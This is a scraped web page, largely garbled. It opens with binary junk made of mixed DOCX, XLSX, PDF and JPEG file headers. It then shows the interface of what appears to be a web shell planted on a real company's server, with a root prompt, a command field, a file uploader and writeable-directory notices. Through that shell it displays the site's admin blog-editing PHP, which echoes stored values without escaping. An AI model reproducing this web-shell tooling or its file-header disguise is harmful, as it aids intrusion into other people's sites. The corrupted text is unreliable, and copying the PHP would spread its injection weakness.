œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/sabksolutions.com/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /home/ni05r7l36tus/www/sabksolutions.com/admin/add_blog.php
<?php include'common/header.php'; ?> 

<?php
include 'connection/config.php';

if (isset($_GET['action']) && $_GET['action'] == 'edit_blog') {
    $id = $_GET['id'];
    $stmt = $pdo->prepare("SELECT * FROM blog WHERE id = ?");
    $stmt->execute([$id]);
    $blog_row = $stmt->fetch(PDO::FETCH_ASSOC);

    if ($blog_row) {
?>
 <form action="function.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="id" id="id" value="<?php echo $blog_row['id'];?>" />
                <!-- sa-app__body -->
                <div id="top" class="sa-app__body">
                    <div class="mx-sm-2 px-2 px-sm-3 px-xxl-4 pb-6">
                        <div class="container">
                        <div class="py-5">
                                <div class="row g-4 align-items-center">
                                    <div class="col">
                                      <h1 class="h3 m-0">Edit</h1>
                                    </div>
                                    <div class="col-auto d-flex">
                                       <button class="btn btn-primary" type="submit" name="update_blog" id="inputGroupFileAddon04">UPDATE</button>
                                    </div>
                                </div>
                            </div>
                            <div class="sa-entity-layout" data-sa-container-query="{&quot;920&quot;:&quot;sa-entity-layout--size--md&quot;,&quot;1100&quot;:&quot;sa-entity-layout--size--lg&quot;}">
                                <div class="sa-entity-layout__body">
                                    <div class="sa-entity-layout__main">
                                        <div class="card">
                                            <div class="card-body p-5">
                                                <div class="mb-5">
                                                    <h2 class="mb-0 fs-exact-18">Basic information</h2>
                                                </div>
                                               <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> Author</label>
                                                    <input type="text" class="form-control" name="author" id="form-product/seo-title" value="<?php echo $blog_row['author']; ?>"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> type1</label>
                                                    <input type="text" class="form-control" name="type1" id="form-product/seo-title" value="<?php echo $blog_row['type1']; ?>"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> type2</label>
                                                    <input type="text" class="form-control" name="type2" id="form-product/seo-title" value="<?php echo $blog_row['type2']; ?>"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> title</label>
                                                    <input type="text" class="form-control" name="title" id="form-product/seo-title" value="<?php echo $blog_row['title']; ?>"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label">Page title</label>
                                                    <input type="text" class="form-control" name="pagetitle" id="form-product/seo-title" value="<?php echo $blog_row['pagetitle']; ?>" />
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/name" class="form-label">Description</label>
                                                    <textarea id="content" class="form-control" name="description" rows="8"><?php echo $blog_row['description'];?></textarea>
                                                    <script type="text/javascript" src="ckeditor/ckeditor.js"></script>
                                                     <script type="text/javascript">CKEDITOR.replace('content', {height: '300', width: '700'});</script>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="card mt-5">
                                            <div class="card-body p-5">
                                                <div class="mb-5">
                                                    <h2 class="mb-0 fs-exact-18">Search engine optimization</h2>
                                                    <div class="mt-3 text-muted">Provide information that will help improve the snippet and bring your product to the top of search engines.</div>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/slug" class="form-label">Slug</label>
                                                    <div class="input-group input-group--sa-slug">
                                                        <span class="input-group-text" id="form-product/slug-addon">https://example.com/products/</span>
                                                        <input type="text" class="form-control" name="slug" id="form-product/slug" aria-describedby="form-product/slug-addon form-product/slug-help" value="<?php echo $blog_row['slug'];?>"  />
                                                    </div>
                                                    <div id="form-product/slug-help" class="form-text">Unique human-readable product identifier. No longer than 255 characters.</div>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label">Page Keywords</label>
                                                    <input type="text" name="keyword" class="form-control" id="form-product/seo-title" value="<?php echo $blog_row['keyword'];?>" />
                                                </div>
                                                <div class="mb-4">
                                                    <label class="form-label">SeoDescription</label>
                                                    <textarea id="content1" class="form-control" name="seodescription" rows="8"><?php echo $blog_row['metadescription'];?></textarea>
                                                      <script type="text/javascript" src="ckeditor/ckeditor.js"></script>
                                                     <script type="text/javascript">CKEDITOR.replace('content1', {height: '300', width: '700'});</script>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="sa-entity-layout__sidebar">
                                         <div class="card w-100">
                                            <div class="card-body p-5">
                                            <div class="mb-4">
                                                <label for="formFile-2-nl" class="form-label">Image</label>
                                                <input type="file" name="image" class="form-control" id="formFile-2-nl" />
                                                 <input type="hidden" name="hidden_image" value="<?php echo $blog_row['image'];?>" />
                                                <img src="upload/<?php echo $blog_row['image'];?>" class="img-thumbnail" height="100" width="100"/>
                                             </div>
                                             <div>
                                                <label for="form-product/seo-title" class="form-label">Publish date</label>
                                                <input type="text" name="addate" class="form-control " id="form-product/publish-date" data-auto-close="true" data-language="en" value="<?php echo $blog_row['date'];?>" />
                                             </div>
                                            <div class="mb-3">
                                                    <label for="docFile" class="form-label">Document (.docx)</label>
                                                    <input type="file" name="docFile" id="docFile" accept=".docx" class="form-control">

                                                    <?php
                                                    // Show current file only in edit mode
                                                    if (isset($blog_row['file']) && !empty($blog_row['file'])):
                                                        $existing_file = $blog_row['file'];
                                                    ?>
                                                        <p class="mt-2">
                                                            <strong>Current File:</strong>
                                                            <a href="upload/<?php echo $existing_file; ?>" target="_blank"><?php echo $existing_file; ?></a>
                                                        </p>
                                                        <input type="hidden" name="hidden_file" value="<?php echo $existing_file; ?>">
                                                    <?php endif; ?>
                                                </div>


                                             </div>
                                        </div>
                                     </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- sa-app__body / end -->   
             </form>
             <?php
                } else {
                    echo "<p class='alert alert-danger'>Blog entry not found.</p>";
                }
            } else {
            ?>
              <form action="function.php" method="POST" enctype="multipart/form-data">
                <!-- sa-app__body -->
                <div id="top" class="sa-app__body">
                    <div class="mx-sm-2 px-2 px-sm-3 px-xxl-4 pb-6">
                        <div class="container">
                            <div class="py-5">
                                <div class="row g-4 align-items-center">
                                    <div class="col">
                                       <h1 class="h3 m-0">Add</h1>
                                    </div>
                                    <div class="col-auto d-flex">
                                       <button class="btn btn-primary" name="add_blog" type="submit" id="inputGroupFileAddon04">ADD</button>
                                    </div>
                                </div>
                            </div>
                            <div class="sa-entity-layout" data-sa-container-query="{&quot;920&quot;:&quot;sa-entity-layout--size--md&quot;,&quot;1100&quot;:&quot;sa-entity-layout--size--lg&quot;}">
                                <div class="sa-entity-layout__body">
                                    <div class="sa-entity-layout__main">
                                        <div class="card">
                                            <div class="card-body p-5">
                                                <div class="mb-5">
                                                    <h2 class="mb-0 fs-exact-18">Basic information</h2>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> Author</label>
                                                    <input type="text" class="form-control" name="author" id="form-product/seo-title"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> type1</label>
                                                    <input type="text" class="form-control" name="type1" id="form-product/seo-title"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> type2</label>
                                                    <input type="text" class="form-control" name="type2" id="form-product/seo-title"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> title</label>
                                                    <input type="text" class="form-control" name="title" id="form-product/seo-title"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label"> heading</label>
                                                    <input type="text" class="form-control" name="heading" id="form-product/seo-title"/>
                                                </div>
                                                  <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label">Page title</label>
                                                    <input type="text" class="form-control" name="pagetitle" id="form-product/seo-title"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label class="form-label">Description</label>
                                                    <textarea id="content" class="form-control" name="description" rows="8"></textarea>
                                                      <script type="text/javascript" src="ckeditor/ckeditor.js"></script>
                                                     <script type="text/javascript">CKEDITOR.replace('content', {height: '300', width: '700'});</script>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="card mt-5">
                                            <div class="card-body p-5">
                                                <div class="mb-5">
                                                    <h2 class="mb-0 fs-exact-18">Search engine optimization</h2>
                                                    <div class="mt-3 text-muted">Provide information that will help improve the snippet and bring your product to the top of search engines.</div>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/slug" class="form-label">Slug</label>
                                                    <div class="input-group input-group--sa-slug">
                                                        <span class="input-group-text" id="form-product/slug-addon">https://example.com/products/</span>
                                                        <input type="text" class="form-control" name="slug" id="form-product/slug" aria-describedby="form-product/slug-addon form-product/slug-help" />
                                                    </div>
                                                    <div id="form-product/slug-help" class="form-text">Unique human-readable product identifier. No longer than 255 characters.</div>
                                                </div>
                                                <div class="mb-4">
                                                    <label for="form-product/seo-title" class="form-label">Page Keywords</label>
                                                    <input type="text" name="keyword" class="form-control" id="form-product/seo-title"/>
                                                </div>
                                                <div class="mb-4">
                                                    <label class="form-label">SeoDescription</label>
                                                    <textarea id="content1" class="form-control" name="seodescription" rows="8"></textarea>
                                                      <script type="text/javascript" src="ckeditor/ckeditor.js"></script>
                                                     <script type="text/javascript">CKEDITOR.replace('content1', {height: '300', width: '700'});</script>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="sa-entity-layout__sidebar">
                                         <div class="card w-100">
                                            <div class="card-body p-5">
                                                <div class="mb-4">
                                                    <label for="formFile-2-nl" class="form-label">Image</label>
                                                    <input type="file" name="blogimage" class="form-control" id="formFile-2-nl" />
                                                </div>
                                                <div>
                                                    <label for="form-product/seo-title" class="form-label">Publish date</label>
                                                    <input type="text" name="addate" class="form-control " id="form-product/publish-date" data-auto-close="true" data-language="en"/>
                                                </div>
                                                <div >
                                                    <label for="docFile" class="form-label">Document (.docx)</label>
                                                    <input type="file" name="docFile" id="docFile" accept=".docx" class="form-control">
                                                </div>
                                             </div>
                                        </div>
                                     </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- sa-app__body / end -->   
             </form>
             <?php } ?>
<?php include'common/footer.php'; ?>
                

........